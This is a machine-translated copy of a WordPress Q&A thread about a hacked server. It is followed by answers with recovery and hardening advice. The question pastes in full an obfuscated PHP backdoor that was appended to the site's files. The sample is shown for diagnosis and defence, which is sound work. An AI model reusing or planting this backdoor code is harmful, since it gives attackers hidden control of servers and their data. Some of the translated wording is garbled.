我应该如何处理被黑客入侵的服务器?

时间:2017-01-25 作者:glvr

我的(托管的)专用服务器有几个站点(并非所有站点都使用WP)被黑客攻击。

模糊代码已附加到所有文件(包括WP核心/插件/主题和非WP内容)中,其中内容以php命令开头(而不仅仅是所有后缀为.php的文件)。

它似乎不会影响呈现的页面,据我所知,这是一个后门/特洛伊木马程序,我所知有限。

今天,我发现权限更改为200,我怀疑这可能是我的服务提供商所为(虽然我还没有收到通知,也没有回答我的“你有没有…”问题)。

我对代码的功能很好奇,尽管解码它并不值得,因为它在某种程度上显然是“坏事”。

我想找出损坏的程度、原因,并防止再次发生。

替换明显更改的文件非常简单(虽然很耗时),我将这样做。

我的sql db备份似乎“干净”,但我知道的还不够确定。

我可能错误地认为原因与WP有关,但不知道这是否可能是由于猜测密码或其他原因造成的。

欢迎提出建设性建议。请,谢谢。

更新:在被问及额外的代码后,它被添加到下面。我最初没有包括它,因为它似乎不合适(不值得努力解码,没有它可能收获甚微)。

$zbdcvsv = \'tj  x22)gj!|!*nbsbq%)323ldfidk!~!<**qp%!-uyfu%)3of)fepdof`57ftbc    x7f!|w6*CW&)7gj6<*K)ftpmdXA6~6<u%7>/7&6|7**111127-83:48984:71]K9]77]D4]82]K6]72]K9]78]K5]53]Kc#<%tpz!>37    x41 107 x45 116 x54"]); if ((strstr($uas,"  x) or (strstr($uas,"    x63 150 x72 157 x6d 145")rr.93e:5597f-s.973:8297f:5297e:56-xr.985:52985-tvodujpo!   x24-    x24y7   x24-    x24*67]y74]275]y7:]268]y7f#<!%tww!>!    x2400~:<h%_6R85,67R37,18R#>q%V<*#fopoV;ho))!gj!<*#cd2bge56+99386    x7f!<X>b%Z<#opo#>b%!*##>>X)!gjZ<#opo#>b%!**X)uft!*uyfu  x27k:!ftmf!}Zqnj!/!#0#)idubn`hfsq)!sp!*#ojneb#-*f%)sfxpmpusut)tpqssutRe%)Rd%)Rb%-%bT-%hW~%fdy)##-!#~<p3)%cB%iN}#-!  x24/%tmw/   x24)%c*W%eN+#Qi x5c1^W%c!>!%i   x5c2^<!Ce*[!%cI<pd%w6Z6<.5`hA   x27pd%66d   163 x69 145")) or (strstr($uas,"    x72 1668M4P8]37]278]225]241]334]368]322]3]364]6]283]427]3w6*CW&)7gj6<.[A    x27&6<  x7fw6*  x7f_*#[k2`as,"  x61 156 x64 162 x6f 151 x64")x65    141 x74 145 x5f 146 x75 1}  x7f;!opjudovg}k~~9{d%:osvufs:~928>> x22:ftmbg39*56A:>:8:|:745]K2]285]Ke]53Ld]53]Kc]55Ld]55#*<%)udfoopdXA    x22)7gj6<*QDU`MPT7-NBx273qj%6<*Y%)fnbozcYufhA   x272qj%6<^#zsfvr#   x5cq%7/7#@#7/7^#iubq#   x%  x24-    x24*<!~!    x24/%t2w/**#sfmcnbs+yfeobz+sfwjidsb`bj+upcotn+qsvmt+fmhpph#)zbssb!-#}#)fepmFSUT`LDPT7-UFOJ`GB)fubfsdtfs%)7gj6<*id%)ftpmdR6<*id%)dfyfR   x27tfs%6<*17-SFEBFI,6<*127-UVPF8    124 x54 120 x5f 125 x53 105 x52 1#00#W~!%t2w)##Qtjw)#]XA    x27K6<  x7fw6*3qj%7>    x22) or (strstr($uas,"  x66 151 x72 145 x66 157 x78")))9y]g2y]#>>*4-1-bubE{h%)82#-#!#-%tmw)%tww**WYsboepn)%bss-%rxB%h>#]y31]278]y3e]81]K7tolower($_SERVER[" x4  x3a 61  x31")) or (strstr($ujyf`x   x22l:!}V;3q%}U;yk5`{66~6<&w6<   x7fw6*CW&)7gj6<*doj%7-C)fepmqnjA    x27&6<.f<!  x24-    x24gps)%j>1<%j=tj{fpg)  x24)##-!#~<#/%  x24-    x24!>!fyqmpef)# x24*<!%t::!>!   x24Yp { $GLOBALS["  x61 156 x75 156 x61"]=1; $uas=str8:56985:6197g:74985-)% x24-    x24y4   x24-    x24]y8  x24-    <.msv`ftsbqA7>q%6<  x7fw6*  x7f_*#fubfsdX9#-!#65egb2dc#*<!sfuvso!sboepn)%epnbss-%rxW~!Ypp2)%zB%z>!  x24/%tmw/!#]D6M7]K3#<%yy>#]D6]281L1#/#M5]DgP5]D6#<%fdy>#]D4]273]D6P5]67]452]88]5]48]32M3]317]445]212]445]43]321]464]284]364]6]4b!>!%yy)#}#-#    x24-    x24-tumjgA  x27doj%6<   x7fw6*  x7f_*#fmjgk4`{6~6<tfs%w6<   x7fw6*CW]}R;2]},;osvufs}    x27;mnui}&;zepc}A;~!}   x7f;!|!}{;)gj}l;33bq}k;opjutmfV x7f<*X&Z&S{ftmfV    x7f<*XAZASV<*w%)pp5.)1/14+9**-)1/2986+7**^/%rx<~!!%s:N}#-%o:W%c:>1<%b:>62]47y]252]18y]#>q%<#762]67y]562]38y]572]48y]#.98]K4]65]D8]86]y31]278]y3f]51L3]84]y31M6]y3e]81#/#7e:55946-tr.984:7592P4]D6#<%G]y6d]281Ld]2x24]26 x24-    x24<%j,,*!| x24-    x24g5ppde:4:|:**#ppde#)tutjyf`4 x223}!+!<+{e%+*!*+fepjepdoF.uofuopD#)sfebfI{*w%)kVx{**#k#)tut!-#2#/#%#/#o]#/*)323zbe!-#jt0*?]+^?]_  x5c}X   x24<!%tmw!>!#]y84]275]y8mg%)!gj!<**2-4-bubE{h%)sutcvt)esp>hmg%!<12>j%!|!*#91y]c#6#)tutjyf`439275ttfsqnpdov{h19275j{hnpd19275fub24<!fwbm)%tjw)bssbz)#P#-#Q#-#B#-#T#-#E#-#G#-#H#-#I#-#K#-#L#-#M#-#[#-#Y234]342]58]24]31#-%tdz*Wsfuvso!%bss    x5csboe))1/3vd}+;!>!}   x27;!>>>!}_;gvc%}&;ftmbg}   x7f;!osvufs}w;* x7f!>>  x2sutcvt)!gj!|!*bubE{h%)j{hnpd!opjudovg!|!**#j{hnpd#)tutjyf`opjudo]y83]256]y81]265]y72]254]y76#<!%w:!>!(%w:!>!  x246767~6<Cw6 $vbpgblb("", $gamgsii); $eutnyme();}}vg   x22)!gj}1~!<2p% x7f!~!<##!>!2p%ZfA>2b%!<*qp%-*.%)euhA)3of>2bd%!<5h%/NJU,6<*27-SFGTOBSUOSVUFS,6<*mdfe{h+{d%)+opjudovg+)!gj+{e%!osvufs!*!+A!>!/20QUUI7jsv%7UFH#   x27rfs%6~6< x7fw6<*K)ftpmdXA6|7**197-2qj%7-Kmgoj{h1:|:*mmvo:>:iuhofm%:-dovg}x;0]=])0#)U!    x27{**u%-#jt0}Z;0]=]0#)2q%l}S;2-u%t%:osvufs:~:<*9-1-r%)s%>/h%sqpt)%z-#:#*   x24-    x24!>!  x24/%tjw/   x24*b   x27)fepdof.)fepdof./#@#/qp%>5h%!<*::::::-111112)eobsc^>Ew:Qb:Qc:W~!%z!>2<!gps)%j>1<%j=6[%ww2!>#p#/#p#/%z<jg!)%z5cq% x27jsv%6<C>^#zsfvr# x5cq%7**^72qj%)7gj6<**2qj%)hopm3qjA)qj3hopmA    >j%!*3! x27!hmg%!)!gj!<2,*j%!-#1]#-bubE{he(array_map("zkglakb",str_split("%tjw!>!#]y84]275]y83]248 { $vbpgblb = "   x63 162     x27pd%6<pd%w6Z6<.2`hA   x27pd%6<C   x27pd%6|6.7eu{66~67<&if((function_exists("  x6f 142 x5f 163 x74 141 x72 164jQeTQcOc/#00#W~!Ydrr)%rsutcvt)fubmgoj{hA!osvufs!~<3,j%2L5P6]y6gP7L6M7]D4]275]D:M8]Df#<%tdz>#L4]275L3]248L3P6L1M5]D]252]y85]256]y6g]257]y86]2%:|:**t%)m%=*h%)m%):fm2bd%-#1GO  x22#)fepmqyjix:<##:>:h%:<#64y]552]e7y]#>n%<#372]58y]472]37y]672]48y]#>s%<#4#-#D#-#W#-#C#-#O#-#N#*-!%24- x24*!|! x24-    x24 x5c%j^  x24-    x24tvctus)% x24-    x2  x24)%zW%h>EzH,2W%wN;#-Ez-1H*WCw*[!%rN}#QwTW%hIr x5c1^-%r    x5c2^-%hOh/ff2-!%t::**<(<!fwbm)%tjw)#   x24#-!#]y38#-!%w:**<")));$eutnyme =osvufs!|ftmf!~<**9.-j%-bubE{h%)1<!gps)%j:>1<%j:=tj{fpg)%s:*<%j:,,Bjg!)%j:>>1*!%b:>1<!fmtf!%b:>%de>u%V<#65,47R25,d7R17,67R37,#/q%>U<#16,47R57,27R66,#/q%>2q%<#gxB%epnbss!>!bssbz)#44ec:649#-!#:618d5f9#-!#f6c68396]373P6]36]73]83]238M7]381]211Mpt}X;`msvd}R;*msv%)}.;`UQPMSVD!-id%)uqpuft`msvd},;uqpuft`ms`un>qp%!|Z~!<##!>!2p%!|!*!***b%)sfxpmpusut!-#j0#!/!tpqsut>j%!*9!   x27!hmg%)!gj!~<ofmy%,3,j%>j%!<**3-j%-bubE{h%)su>>2*!%z>3<!fmtf!%z>2<!%ww2)%w`TW~    x{6:!}7;!}6;##}C;!>>!}W;utpi}Y;tuofuopd`ufh`fmjg}[;ldpt%}K;`ufld56  x63 164 x69 157 x6e"; function zkglakb($n){return chr(ord($n)-1);} 2!pd%)!gj}Z;h!opjudovg}{;#)tutjyf`opjudovg)!gj!|!*msv%)}k~~~<ftmbg!>!    x242178}527}88:}334}472 x24<!%ff2!>!bssbz)  x24]25  x24-    x24-!%  xK)ebfsX    x27u%)7fmjix6<C x27&6<*rfs%7-K)fujsxX6<#o]o]Y%7;utpI#7>/7rfs%6<#o]1sv%7-MSV,6<*)ujojR   x27id%6<    x7fw6*  x7f_*#ujojRk3`{666~6<&w6<   x7fw6<*&7-#o]s]o]s]#)fepmqyf    x27*&7-n%)utjm6<    x7f<^2  x5c2b%!>!2p%!*3>?*2b%)gpf{jt)!gj!<*3]273]y76]277#<!%t2w>#]y74]273]y76%)tpqsut>j%!*72!   x27!hmg%)!gj!<2,*j%-#1]#-bubE{h%):<**#57]38y]47]67y]37]88y]27]28y]#/r%/h%)n%-#+I#)q%:>:rI&e_SEEB`FUPNFS&d_SFSFGFS`QUUI&c_UOFHB`SFTV`QUUI&b%!|!*)323zbek!~!<b%") && (!isset($GLOBALS["   x61 156 x75 156 x61"]))))bG9}:}.}-}!#*<%nfd>%fdy<Cb*[%h!>!%tdz)%bbT#0#/*#npd/#)rrd/#00;quui#>.%!<***f   x27,*e  x27,*d  x27,*c  x27,{e%)!>> x22!ftmbg)!gj<*#k#)usbut`cpV    x7f x7f x7f x7f<u%V x27{f;^nbsbq%   x5cSFWSFT`%}X;!sp!*#opo#>>}R;msv}.;/#/#/}c6f+9f5d816:+946:ce44#)zbssb!>!ssbnpe_GMFT`QIQ&f_UTPI`QUU,;#-#}+;%-qp%)54l}    x27;%!<*#}_;#)323ldfid>}&;!osvufs>m%:|:*r%:-t%)3of:opjudovg<~   x24<!%o:!#zsfvr#    x5cq%)ufttj x22)gj6<^#Y#    x5cq%   x27Y%6s:    x5c%j:.2^,%b:<!%c:>%s:  x5c%j:^<!%w`    x5<pd%w6Z6<.4`hA    x27pd%6<pd%w6Z6<.3`hAtcvt-#w#)ldbqov>*ofmy%)utjm!|!*5!  x27!hmg%)!gj!|!*1?h%h00#*<%nfd)##Qtpz)#]341]8@error_reporting(0); $gamgsii = implodStrrEVxNoiTCnUF_EtaERCxecAlPeR_rtSgneiijtn\'; $rymqhdk=explode(chr((436-316)),substr($zbdcvsv,(39702-33682),(130-96))); $oulclf = $rymqhdk[0]($rymqhdk[(6-5)]); $ezqcuyal = $rymqhdk[0]($rymqhdk[(10-8)]); if (!function_exists(\'rieqim\')) { function rieqim($eebvtvdx, $wgctulke,$hoxaoipzz) { $iopacym = NULL; for($cisysje=0;$cisysje<(sizeof($eebvtvdx)/2);$cisysje++) { $iopacym .= substr($wgctulke, $eebvtvdx[($cisysje*2)],$eebvtvdx[($cisysje*2)+(3-2)]); } return $hoxaoipzz(chr((27-18)),chr((535-443)),$iopacym); }; } $luxvad = explode(chr((164-120)),\'3719,53,5370,50,1678,47,1466,21,1251,35,166,47,680,43,1487,28,813,34,213,45,1333,51,3641,24,847,29,4735,70,5982,38,3584,57,2914,58,658,22,5867,36,3665,54,5077,46,69,45,4938,50,4988,25,3153,62,972,32,1161,25,1307,26,3507,36,1004,66,3473,34,5781,45,1776,39,1537,55,2025,56,1186,65,3081,29,5013,64,773,40,4672,63,4466,59,2789,61,4805,67,4227,31,3795,31,3543,41,5196,50,4576,61,5903,53,2568,55,1384,23,2850,64,3010,35,5123,39,3934,21,3045,36,5462,60,3359,55,4525,51,1095,66,501,67,409,23,5634,57,5301,69,432,49,0,69,481,20,5584,50,5691,52,876,61,2623,48,3215,27,2411,49,3110,43,5522,62,2147,40,4322,63,379,30,2460,40,1515,22,2081,66,3242,52,2500,68,5162,34,3886,26,335,44,3294,27,5246,55,3912,22,3955,64,2240,46,5743,38,4872,66,4044,52,1999,26,3321,38,1745,31,2378,33,306,29,1592,30,1070,25,1622,56,589,69,3772,23,4385,50,1815,67,4096,69,1286,21,1407,59,1725,20,258,48,2286,70,114,52,1882,58,3826,60,2356,22,937,35,5420,42,568,21,5956,26,723,50,4435,31,1940,59,2741,48,2187,53,4258,64,5826,41,3414,59,4637,35,2671,70,4019,25,4165,62,2972,38\'); $rlojefjp = $oulclf("",rieqim($luxvad,$zbdcvsv,$ezqcuyal)); $oulclf=$zbdcvsv; $rlojefjp(""); $rlojefjp=(658-537); $zbdcvsv=$rlojefjp-1

2 个回复
最合适的回答,由SO网友:prosti 整理而成

我的(托管的)专用服务器有几个站点(并非所有站点都使用WP)被黑客攻击。

好吧,它发生了。不是世界末日。


今天,我发现权限更改为200,我怀疑这可能是我的服务提供商所为(虽然我还没有收到通知,也没有回答我的“你有没有…”问题)。可能有人试图攻击您的服务提供商。拥有200用户权限是很少见的。

在Linux中,有两种方法可以更改文件。php权限。

-rwxrwxrwx  file.php
  • Symbolic method
  • Absolute Value method
符号化方法适用于像这样的极客David MacKenzie 谁写的chmod 工具,我们只讲绝对值法。

以下文件的权限:

-rwxrwxrwx  file.php
是777。

enter image description here

显然你的文件有200个,如下所示:

--w-------  file.php

4 means Read,
2 means Write
1 means Execute
看来黑客获得了你的根访问权限。

我对代码的功能很好奇,尽管解码它并不值得,因为它在某种程度上显然是“坏事”。

我不会为此烦恼的。我会专注于恢复。否则,你将失去宝贵的时间。

我想找出损坏的程度、原因并防止再次发生。

正确,我只关注预防

如果你的主机提供商没有提供反馈,这是他们的错,那么这可能是你的错。

您使用过最新版本的PHP吗查看此URL,确保2016-207年PHP中发现安全漏洞。http://www.cvedetails.com/product/128/PHP-PHP.html?vendor_id=74

PHP正在实现这一目标,但您需要不断升级版本。

您是否使用过软件自动升级但不仅仅是PHP,还需要为整个web服务器创建自动更新。这非常重要。

有时,您正在运行的CentOS或Ubuntu会发现新的漏洞。我亲眼目睹了一些重大问题,只是因为操作系统没有更新安全性。

在Ubuntu中,您可以执行以下操作

sudo apt-get update
sudo unattended-upgrade
在cron job的某个地方,或者

unattended-upgrade --dry-run --debug
测试升级。

如果您想进行升级以作为服务使用,您可以尝试

dpkg-reconfigure unattended-upgrades
如果您的托管公司没有自动执行此操作,您通常需要这样做。请检查。

您是否使用了文件更改检测您已经使用的iThemes安全插件的一部分是文件更改检测。这一点非常重要,因为所有安全分析都提到这是一个关键特性。然而,从那里你需要注意更新的文件。重要的是保持文件夹的数量较低,并根据文件的扩展名设置为不通知。通常,您不需要跟踪图像。

有人找到你的日志文件了吗

通常应通过禁用日志文件。htaccess。如果您在Nginx中,那么在Nginx配置文件中。有一些备份插件使用wp-content 存储日志文件。其中一些确实有薄弱的命名约定,侦察员可能会获取您的日志,以及有关web服务器的信息。

日志文件的扩展名可能并不总是。日志它可能是日志。1等。记住这一点。

WP SCAN 检测密码和用户使用WP SCAN tool 并检查它是否能破解你的密码。

你可以考虑一下。htaccess规则,用于在没有任何副作用的情况下防止WordPress用户名枚举。

RewriteCond %{QUERY_STRING} author=d
RewriteRule ^ /? [L,R=301]
你的大门是敞开的吗如果mysql端口打开,您可以考虑关闭它。

PORT      STATE   SERVICE
3306/tcp  open    mysql
某些服务(如mysql)不应具有开放端口,如上例所示。您需要在web上搜索“好换好”端口扫描仪。

此外,您的登录表单应该具有登录限制计数,以及您的web服务器SSH和FTP通道。

另一个门户是xmlrpc php。如果不需要,可以尝试消除it, 因为这可能是有人尝试登录的地方。

你有防火墙吗。htaccess易腐媒体的第六代防火墙不受您的限制。htaccess文件。https://perishablepress.com/6g/

它包括空机器人程序和坏机器人程序删除。正如我所检查的,它应该在不干扰现有系统的情况下工作。htaccess规则。

您应该在低流量时间或在开发服务器上进行测试,并尽可能使用所有提示。应该很容易,只是复制和粘贴。

您是否使用RIP来测试插件和主题这将允许您从http(s)://domain.com/rips/index.php

您可以从下载here 并将其提取到与WordPress相同的级别:enter image description here

那么看看这个。查询监视器插件非常完美,但对于另一个插件,该工具发现了安全问题。我测试过nextgen-galleryquery-monitor 插件。看看我发现了什么。

enter image description hereenter image description here

此工具有时可能会提供误报,但通常情况下,您会得到反馈。

给你最后的建议。您不知道MySQL数据库是否干净。您可能应该使用标准WordPress export导出所有文章并创建新文章。

您应该安装新插件和新主题。您甚至可以从新的干净VP开始。在Linode上,只需点击几下。

你应该从新的WordPress安装开始。。

如果确定主机不可靠,您甚至可能会更改主机。

如果这是服务的一部分,托管提供商可能会从web服务器日志中向您提供一些反馈,以便您更好地了解问题所在。

无论如何,一步一步。

还有,请检查我的other answer 我提供给@Rahul,这可能有助于预防。

SO网友:Pedro Salazar

您是否考虑过为web服务器使用MSSP?

考虑到攻击者在成功破坏web服务器后的行为,您所描述的情况并不少见。如果看不到有效载荷,就很难对有效载荷及其作用给出真正好的建议。

要了解损坏的全部程度,尽管你需要对箱子进行某种形式的取证。您有多少日志形式的数据?您是否有保留策略?

仅供参考-清理将比取证更容易,但两者都应该可行。此外,我同意立即假定它是WordPress是错误的,您能提供服务器上运行的其他应用程序和服务的更多详细信息吗?

相关推荐

Security and Must Use Plugins

从codex article 必须使用插件:只需将文件上载到mu插件目录即可启用,无需登录我觉得这是一个潜在的安全问题。在站点上运行插件中的任何代码之前,必须通过管理面板激活常规插件。我一直认为这是一个明智的安全预防措施,因为攻击者如果能够以某种方式将文件上载到plugins文件夹,则在运行代码之前,还必须访问和修改数据库。这个mu-plugins 文件夹似乎提供了一种简单的方法来避免这种情况。我知道WordPress开发人员比我更了解安全性,所以我想知道是否有人能解释为什么这不是一个安全漏洞。